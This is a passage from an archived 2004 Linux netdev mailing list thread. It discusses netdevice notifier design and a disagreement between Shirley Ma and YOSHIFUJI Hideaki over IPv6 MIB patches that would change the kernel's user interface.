code goes: > > if (dev->type_cookie == NETDEV_TYPE_MPOA) > return NOTIFY_DONE; faster, but uglier. > But as stated I think both of these ideas absolutely stink. Well, we could switch to an object language with RTTI ;-( > ... wait... > > Ok, I have an idea, consider this. We add a netdev->notifier() > method. We create a new routine to net/core/dev.c: > > static void run_netdev_notifiers(int event, struct net_device *dev) > { > notifier_call_chain(&netdev_chain, event, dev); > > if (dev->notifier) > dev->notifier(dev, event); > } > > Then replace all the notifier_call_chain(&netdev_chain, ...) calls > in net/core/dev.c with invocations of run_netdev_notifiers(). > > I believe we can (and thus should) add an ASSERT_RTNL() to this new > run_netdev_notifiers() functions, although I'm not %100 sure. > > What do you think Stephen? Feeling stupid this morning, how wold this help? Would device set dev->notifier and not register for other notifications? Rather than a single notifier why not add a dev->notify_chain and do: notifier_call_chain(&netdev_chain, event, dev); notifier_call_chain(dev->notify_chain, event, dev); But the whole programming model of responding to callbacks seems bassackwards in these cases, because the device can process the same events (up/down) on the front side (open/close) rather than getting callbacks. At least in the qeth case it seems like a messed up design. > > Unrelated problems: > > ddp: registers for notifier before it is initialized > > Just moving it down to the end of atalk_init() should fix this? I'll test a patch for it. > Actually, I don't really see any potential problem here. > > > ipmr: no locking for add/delete > > Not a problem, RTNL semaphore is held. > > > ipfwadm: no module owner on /proc interface > Please elaborate. I don't see the ipfwadm netdev event notifier > messing with procfs stuff, or is this happen at a level or two of > indirection somewhere else? Just never looked there before... patch coming. From xma@us.ibm.com Thu Jan 15 10:19:51 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 10:20:04 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FIJn6H026561 for ; Thu, 15 Jan 2004 10:19:51 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0FIIq6t292856; Thu, 15 Jan 2004 13:18:52 -0500 Received: from d03nm124.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0FIInSp126908; Thu, 15 Jan 2004 11:18:50 -0700 Importance: Normal Sensitivity: Subject: Re: [PATCH] IPv6 MIB:ipv6inetNetToMediaTable To: YOSHIFUJI Hideaki / =?ISO-2022-JP?B?GyRCNUhGIzFRTEAbKEI=?= Cc: mashirle@us.ibm.com, davem@redhat.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com X-Mailer: Lotus Notes Release 5.0.7 March 21, 2001 Message-ID: From: Shirley Ma Date: Thu, 15 Jan 2004 10:18:44 -0800 X-MIMETrack: Serialize by Router on D03NM124/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 01/15/2004 11:18:49 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=07BBE48FDFF06B328f9e8a93df938690918c07BBE48FDFF06B32" Content-Disposition: inline X-archive-position: 2501 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: xma@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 3036 Lines: 106 --0__=07BBE48FDFF06B328f9e8a93df938690918c07BBE48FDFF06B32 Content-type: text/plain; charset=ISO-2022-JP Content-transfer-encoding: quoted-printable Thanks. This is a bug fix for the update value (last change) to be a TimeStamp according to new IP MIBs. There is no confirm value in the ne= w IP MIBs inetNetTomedia Entry, I don't know what's the confirm for, I still= keep it, but change it to TimeStamp. Is there any application using the= se values right now? If you agree we can fix any applications reference th= ese values. Thanks Shirley Ma IBM Linux Technology Center 15300 SW Koll Parkway Beaverton, OR 97006-6063 Phone: (503) 578-7638 FAX: (503) 578-3228 YOSHIFUJI Hideaki / =1B$B5HF#1QL@=1B(B @cerberus.hongo.wide.ad.jp> on 01/15/2004 01:0= 4:11 AM Sent by: "Hideaki YOSHIFUJI" To: mashirle@us.ltcfwd.linux.ibm.com cc: davem@redhat.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, Shir= ley Ma/Beaverton/IBM@IBMUS Subject: Re: [PATCH] IPv6 MIB:ipv6inetNetToMediaTable In article <200401141621.26317.mashirle@us.ibm.com> (at Wed, 14 Jan 200= 4 16:21:26 -0800), Shirley Ma says: > This patch is against 2.6.1 kernel. Wrong. Do not change interface. --yoshfuji = --0__=07BBE48FDFF06B328f9e8a93df938690918c07BBE48FDFF06B32 Content-type: text/html; charset=ISO-2022-JP Content-Disposition: inline Content-transfer-encoding: quoted-printable

Thanks. This is a bug fix for the update value (last change) to be a= TimeStamp according to new IP MIBs. There is no confirm value in the n= ew IP MIBs inetNetTomedia Entry, I don't know what's the confirm for, I= still keep it, but change it to TimeStamp. Is there any application us= ing these values right now? If you agree we can fix any applications re= ference these values.

Thanks
Shirley Ma
IBM Linux Technology Center
15300 SW Koll Parkway
Beaverton, OR 97006-6063
Phone: (503) 578-7638
FAX: (503) 578-3228


Sent by: "Hideaki YOSHIFUJI&= quot; <yoshfuji@cerberus.hongo.wide.ad.jp>

To: mashi= rle@us.ltcfwd.linux.ibm.com
cc: davem@re= dhat.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, Shirley Ma/Beaverto= n/IBM@IBMUS
Subject: Re:= [PATCH] IPv6 MIB:ipv6inetNetToMediaTable


In article <200401141621.26317.mashirle@u= s.ibm.com> (at Wed, 14 Jan 2004 16:21:26 -0800), Shirley Ma <mash= irle@us.ibm.com> says:

> This patch is against 2.6.1 kernel.

Wrong. Do not change interface.

--yoshfuji


= --0__=07BBE48FDFF06B328f9e8a93df938690918c07BBE48FDFF06B32-- From xma@us.ibm.com Thu Jan 15 10:27:32 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 10:27:45 -0800 (PST) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FIRJ6H028514 for ; Thu, 15 Jan 2004 10:27:32 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0FIQVrE343602; Thu, 15 Jan 2004 13:26:31 -0500 Received: from d03nm124.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0FIQTam148214; Thu, 15 Jan 2004 11:26:30 -0700 Importance: Normal Sensitivity: Subject: Re: [PATCH] IPv6 MIB:ipv6DefaultRouterTable To: YOSHIFUJI Hideaki / =?ISO-2022-JP?B?GyRCNUhGIzFRTEAbKEI=?= Cc: mashirle@us.ibm.com, davem@redhat.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com X-Mailer: Lotus Notes Release 5.0.7 March 21, 2001 Message-ID: From: Shirley Ma Date: Thu, 15 Jan 2004 10:26:21 -0800 X-MIMETrack: Serialize by Router on D03NM124/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 01/15/2004 11:26:30 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=07BBE48FDFF72B098f9e8a93df938690918c07BBE48FDFF72B09" Content-Disposition: inline X-archive-position: 2502 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: xma@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 2604 Lines: 80 --0__=07BBE48FDFF72B098f9e8a93df938690918c07BBE48FDFF72B09 Content-type: text/plain; charset=ISO-2022-JP This is a bug fix for ipDefaultRouter Table. According to the new IP MIBs, the DefaultRouterLifeTime(expire) entry in this table is unsigned 32. It measures the remaining length of time in seconds. If it's expire, the value should be 0. Thanks Shirley Ma IBM Linux Technology Center 15300 SW Koll Parkway Beaverton, OR 97006-6063 Phone: (503) 578-7638 FAX: (503) 578-3228 YOSHIFUJI Hideaki / $B5HF#1QL@(B @cerberus.hongo.wide.ad.jp> on 01/15/2004 01:03:15 AM Sent by: "Hideaki YOSHIFUJI" To: mashirle@us.ltcfwd.linux.ibm.com cc: davem@redhat.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, Shirley Ma/Beaverton/IBM@IBMUS Subject: Re: [PATCH] IPv6 MIB:ipv6DefaultRouterTable In article <200401141622.09299.mashirle@us.ibm.com> (at Wed, 14 Jan 2004 16:22:09 -0800), Shirley Ma says: > This patch is agaist 2.6.1 kernel. Wrong. Do not change user interface. --yoshfuji --0__=07BBE48FDFF72B098f9e8a93df938690918c07BBE48FDFF72B09 Content-type: text/html; charset=ISO-2022-JP Content-Disposition: inline

This is a bug fix for ipDefaultRouter Table. According to the new IP MIBs, the DefaultRouterLifeTime(expire) entry in this table is unsigned 32. It measures the remaining length of time in seconds. If it's expire, the value should be 0.

Thanks
Shirley Ma
IBM Linux Technology Center
15300 SW Koll Parkway
Beaverton, OR 97006-6063
Phone: (503) 578-7638
FAX: (503) 578-3228


Sent by: "Hideaki YOSHIFUJI" <yoshfuji@cerberus.hongo.wide.ad.jp>

To: mashirle@us.ltcfwd.linux.ibm.com
cc: davem@redhat.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, Shirley Ma/Beaverton/IBM@IBMUS
Subject: Re: [PATCH] IPv6 MIB:ipv6DefaultRouterTable


In article <200401141622.09299.mashirle@us.ibm.com> (at Wed, 14 Jan 2004 16:22:09 -0800), Shirley Ma <mashirle@us.ibm.com> says:

> This patch is agaist 2.6.1 kernel.

Wrong. Do not change user interface.

--yoshfuji


--0__=07BBE48FDFF72B098f9e8a93df938690918c07BBE48FDFF72B09-- From yoshfuji@linux-ipv6.org Thu Jan 15 10:35:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 10:36:10 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FIZs6H030765 for ; Thu, 15 Jan 2004 10:35:57 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id A360533CA5; Fri, 16 Jan 2004 03:36:22 +0900 (JST) Date: Fri, 16 Jan 2004 03:36:22 +0900 (JST) Message-Id: <20040116.033622.83599316.yoshfuji@linux-ipv6.org> To: xma@us.ibm.com Cc: mashirle@us.ibm.com, davem@redhat.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH] IPv6 MIB:ipv6DefaultRouterTable From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2503 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 448 Lines: 10 In article (at Thu, 15 Jan 2004 10:26:21 -0800), Shirley Ma says: > This is a bug fix for ipDefaultRouter Table. According to the new IP MIBs, > the DefaultRouterLifeTime(expire) entry in this table is unsigned 32. It > measures the remaining length of time in seconds. If it's expire, the value > should be 0. Kernel does not have to provide MIB in as-is format. --yoshfuji From yoshfuji@linux-ipv6.org Thu Jan 15 10:41:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 10:41:18 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FIf16H031868 for ; Thu, 15 Jan 2004 10:41:05 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 2B81933CA5; Fri, 16 Jan 2004 03:41:19 +0900 (JST) Date: Fri, 16 Jan 2004 03:41:18 +0900 (JST) Message-Id: <20040116.034118.75621273.yoshfuji@linux-ipv6.org> To: xma@us.ibm.com Cc: mashirle@us.ibm.com, davem@redhat.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH] IPv6 MIB:ipv6inetNetToMediaTable From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2504 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 704 Lines: 15 In article (at Thu, 15 Jan 2004 10:18:44 -0800), Shirley Ma says: > Thanks. This is a bug fix for the update value (last change) to be a > TimeStamp according to new IP MIBs. There is no confirm value in the new IP > MIBs inetNetTomedia Entry, I don't know what's the confirm for, I still > keep it, but change it to TimeStamp. Is there any application using these > values right now? If you agree we can fix any applications reference these > values. ditto. application should obtain real MIB information using information provided by kernel. (If information is not enough, let kernel provide additional information.) --yoshfuji From xma@us.ibm.com Thu Jan 15 11:10:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 11:11:02 -0800 (PST) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FJAZ6H000869 for ; Thu, 15 Jan 2004 11:10:41 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e35.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0FJ9olS197096; Thu, 15 Jan 2004 14:09:50 -0500 Received: from d03nm124.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0FJ9mSp099100; Thu, 15 Jan 2004 12:09:49 -0700 Importance: Normal Sensitivity: Subject: Re: [PATCH] IPv6 MIB:ipv6DefaultRouterTable To: YOSHIFUJI Hideaki / =?ISO-2022-JP?B?GyRCNUhGIzFRTEAbKEI=?= Cc: mashirle@us.ibm.com, davem@redhat.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: Shirley Ma Date: Thu, 15 Jan 2004 11:09:47 -0800 X-MIMETrack: Serialize by Router on D03NM124/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 01/15/2004 12:09:48 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=08BBE48FDFFB23FA8f9e8a93df938690918c08BBE48FDFFB23FA" Content-Disposition: inline X-archive-position: 2505 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: xma@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 2953 Lines: 90 --0__=08BBE48FDFFB23FA8f9e8a93df938690918c08BBE48FDFFB23FA Content-type: text/plain; charset=ISO-2022-JP Agree. But if no applications use this value, and nothing is boken. It's not harmful to change the kernel to provide MIBs in as-is format. Thanks Shirley Ma IBM Linux Technology Center 15300 SW Koll Parkway Beaverton, OR 97006-6063 Phone: (503) 578-7638 FAX: (503) 578-3228 YOSHIFUJI Hideaki / $B5HF#1QL@(B @cerberus.hongo.wide.ad.jp> on 01/15/2004 10:36:22 AM Sent by: "Hideaki YOSHIFUJI" To: Shirley Ma/Beaverton/IBM@IBMUS cc: mashirle@us.ltcfwd.linux.ibm.com, davem@redhat.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH] IPv6 MIB:ipv6DefaultRouterTable In article (at Thu, 15 Jan 2004 10:26:21 -0800), Shirley Ma says: > This is a bug fix for ipDefaultRouter Table. According to the new IP MIBs, > the DefaultRouterLifeTime(expire) entry in this table is unsigned 32. It > measures the remaining length of time in seconds. If it's expire, the value > should be 0. Kernel does not have to provide MIB in as-is format. --yoshfuji --0__=08BBE48FDFFB23FA8f9e8a93df938690918c08BBE48FDFFB23FA Content-type: text/html; charset=ISO-2022-JP Content-Disposition: inline

Agree.

But if no applications use this value, and nothing is boken. It's not harmful to change the kernel to provide MIBs in as-is format.

Thanks
Shirley Ma
IBM Linux Technology Center
15300 SW Koll Parkway
Beaverton, OR 97006-6063
Phone: (503) 578-7638
FAX: (503) 578-3228


Sent by: "Hideaki YOSHIFUJI" <yoshfuji@cerberus.hongo.wide.ad.jp>

To: Shirley Ma/Beaverton/IBM@IBMUS
cc: mashirle@us.ltcfwd.linux.ibm.com, davem@redhat.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org
Subject: Re: [PATCH] IPv6 MIB:ipv6DefaultRouterTable


In article <OF87A9D639.F6A8D26B-ON88256E1C.0064AD99@us.ibm.com> (at Thu, 15 Jan 2004 10:26:21 -0800), Shirley Ma <xma@us.ibm.com> says:

> This is a bug fix for ipDefaultRouter Table. According to the new IP MIBs,
> the DefaultRouterLifeTime(expire) entry in this table is unsigned 32. It
> measures the remaining length of time in seconds. If it's expire, the value
> should be 0.

Kernel does not have to provide MIB in as-is format.

--yoshfuji


--0__=08BBE48FDFFB23FA8f9e8a93df938690918c08BBE48FDFFB23FA-- From xma@us.ibm.com Thu Jan 15 11:14:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 11:14:16 -0800 (PST) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FJE36H001271 for ; Thu, 15 Jan 2004 11:14:03 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0FJDJrE137388; Thu, 15 Jan 2004 14:13:19 -0500 Received: from d03nm124.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0FJD3Sq130004; Thu, 15 Jan 2004 12:13:18 -0700 Importance: Normal Sensitivity: Subject: Re: [PATCH] IPv6 MIB:ipv6inetNetToMediaTable To: YOSHIFUJI Hideaki / =?ISO-2022-JP?B?GyRCNUhGIzFRTEAbKEI=?= Cc: mashirle@us.ibm.com, davem@redhat.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: Shirley Ma Date: Thu, 15 Jan 2004 11:13:03 -0800 X-MIMETrack: Serialize by Router on D03NM124/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 01/15/2004 12:13:18 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=08BBE48FDFFAF0798f9e8a93df938690918c08BBE48FDFFAF079" Content-Disposition: inline X-archive-position: 2506 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: xma@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 3442 Lines: 96 --0__=08BBE48FDFFAF0798f9e8a93df938690918c08BBE48FDFFAF079 Content-type: text/plain; charset=ISO-2022-JP Why shouldn't the kernel provide the real MIBs information? Is it breaking any application if I make the right changes? Thanks Shirley Ma IBM Linux Technology Center 15300 SW Koll Parkway Beaverton, OR 97006-6063 Phone: (503) 578-7638 FAX: (503) 578-3228 YOSHIFUJI Hideaki / $B5HF#1QL@(B @cerberus.hongo.wide.ad.jp> on 01/15/2004 10:41:18 AM Sent by: "Hideaki YOSHIFUJI" To: Shirley Ma/Beaverton/IBM@IBMUS cc: mashirle@us.ltcfwd.linux.ibm.com, davem@redhat.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH] IPv6 MIB:ipv6inetNetToMediaTable In article (at Thu, 15 Jan 2004 10:18:44 -0800), Shirley Ma says: > Thanks. This is a bug fix for the update value (last change) to be a > TimeStamp according to new IP MIBs. There is no confirm value in the new IP > MIBs inetNetTomedia Entry, I don't know what's the confirm for, I still > keep it, but change it to TimeStamp. Is there any application using these > values right now? If you agree we can fix any applications reference these > values. ditto. application should obtain real MIB information using information provided by kernel. (If information is not enough, let kernel provide additional information.) --yoshfuji --0__=08BBE48FDFFAF0798f9e8a93df938690918c08BBE48FDFFAF079 Content-type: text/html; charset=ISO-2022-JP Content-Disposition: inline

Why shouldn't the kernel provide the real MIBs information? Is it breaking any application if I make the right changes?

Thanks
Shirley Ma
IBM Linux Technology Center
15300 SW Koll Parkway
Beaverton, OR 97006-6063
Phone: (503) 578-7638
FAX: (503) 578-3228


Sent by: "Hideaki YOSHIFUJI" <yoshfuji@cerberus.hongo.wide.ad.jp>

To: Shirley Ma/Beaverton/IBM@IBMUS
cc: mashirle@us.ltcfwd.linux.ibm.com, davem@redhat.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org
Subject: Re: [PATCH] IPv6 MIB:ipv6inetNetToMediaTable


In article <OFE052816E.2064C677-ON88256E1C.0063EDA2@us.ibm.com> (at Thu, 15 Jan 2004 10:18:44 -0800), Shirley Ma <xma@us.ibm.com> says:

> Thanks. This is a bug fix for the update value (last change) to be a
> TimeStamp according to new IP MIBs. There is no confirm value in the new IP
> MIBs inetNetTomedia Entry, I don't know what's the confirm for, I still
> keep it, but change it to TimeStamp. Is there any application using these
> values right now? If you agree we can fix any applications reference these
> values.

ditto. application should obtain real MIB information using
information provided by kernel.
(If information is not enough, let kernel provide additional
information.)

--yoshfuji


--0__=08BBE48FDFFAF0798f9e8a93df938690918c08BBE48FDFFAF079-- From yoshfuji@linux-ipv6.org Thu Jan 15 11:19:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 11:19:41 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FJJR6H001723 for ; Thu, 15 Jan 2004 11:19:28 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 7CF1333CA5; Fri, 16 Jan 2004 04:19:50 +0900 (JST) Date: Fri, 16 Jan 2004 04:19:50 +0900 (JST) Message-Id: <20040116.041950.35757995.yoshfuji@linux-ipv6.org> To: xma@us.ibm.com Cc: mashirle@us.ibm.com, davem@redhat.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH] IPv6 MIB:ipv6DefaultRouterTable From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2507 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 345 Lines: 8 In article (at Thu, 15 Jan 2004 11:09:47 -0800), Shirley Ma says: > But if no applications use this value, and nothing is boken. It's not > harmful to change the kernel to provide MIBs in as-is format. Shirley, nobody can prove that nothing will be broken. :-) --yoshfuji From xma@us.ibm.com Thu Jan 15 11:31:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 11:31:27 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FJVD6H002264 for ; Thu, 15 Jan 2004 11:31:13 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0FJUT6t029506; Thu, 15 Jan 2004 14:30:29 -0500 Received: from d03nm124.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0FJUSSp136584; Thu, 15 Jan 2004 12:30:28 -0700 Importance: Normal Sensitivity: Subject: Re: [PATCH] IPv6 MIB:ipv6DefaultRouterTable To: YOSHIFUJI Hideaki / =?ISO-2022-JP?B?GyRCNUhGIzFRTEAbKEI=?= Cc: mashirle@us.ibm.com, davem@redhat.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: Shirley Ma Date: Thu, 15 Jan 2004 11:30:25 -0800 X-MIMETrack: Serialize by Router on D03NM124/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 01/15/2004 12:30:27 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=08BBE48FDFF90FC38f9e8a93df938690918c08BBE48FDFF90FC3" Content-Disposition: inline X-archive-position: 2508 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: xma@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 3433 Lines: 117 --0__=08BBE48FDFF90FC38f9e8a93df938690918c08BBE48FDFF90FC3 Content-type: text/plain; charset=ISO-2022-JP Content-transfer-encoding: quoted-printable Hi, Yoshifuji, This rule would mean that any new kernel development *could* break something somewhere else? ;-) I don't see any application uses these values for now, so I change them= . It's good for kernel to provide the real MIBs information. If later on,= some applications start to use these values, they can get the correct numbers without converting. Unless you can give me an broken example. := -) Thanks Shirley Ma IBM Linux Technology Center 15300 SW Koll Parkway Beaverton, OR 97006-6063 Phone: (503) 578-7638 FAX: (503) 578-3228 YOSHIFUJI Hideaki / =1B$B5HF#1QL@=1B(B @cerberus.hongo.wide.ad.jp> on 01/15/2004 11:1= 9:50 AM Sent by: "Hideaki YOSHIFUJI" To: Shirley Ma/Beaverton/IBM@IBMUS cc: mashirle@us.ltcfwd.linux.ibm.com, davem@redhat.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, yoshfuji@linux-ipv6.or= g Subject: Re: [PATCH] IPv6 MIB:ipv6DefaultRouterTable In article (at Thu= , 15 Jan 2004 11:09:47 -0800), Shirley Ma says: > But if no applications use this value, and nothing is boken. It's not= > harmful to change the kernel to provide MIBs in as-is format. Shirley, nobody can prove that nothing will be broken. :-) --yoshfuji = --0__=08BBE48FDFF90FC38f9e8a93df938690918c08BBE48FDFF90FC3 Content-type: text/html; charset=ISO-2022-JP Content-Disposition: inline Content-transfer-encoding: quoted-printable

Hi, Yoshifuji,

This rule would mean that any new kernel development *could* break some= thing somewhere else? ;-)

I don't see any application uses these values for now, so I change them= . It's good for kernel to provide the real MIBs information. If later o= n, some applications start to use these values, they can get the correc= t numbers without converting. Unless you can give me an broken example.= :-)

Thanks
Shirley Ma
IBM Linux Technology Center
15300 SW Koll Parkway
Beaverton, OR 97006-6063
Phone: (503) 578-7638
FAX: (503) 578-3228


Sent by: "Hideaki YOSHIFUJI&= quot; <yoshfuji@cerberus.hongo.wide.ad.jp>

To: Shirl= ey Ma/Beaverton/IBM@IBMUS
cc: mashirle= @us.ltcfwd.linux.ibm.com, davem@redhat.com, kuznet@ms2.inr.ac.ru, netde= v@oss.sgi.com, yoshfuji@linux-ipv6.org
Subject: Re:= [PATCH] IPv6 MIB:ipv6DefaultRouterTable


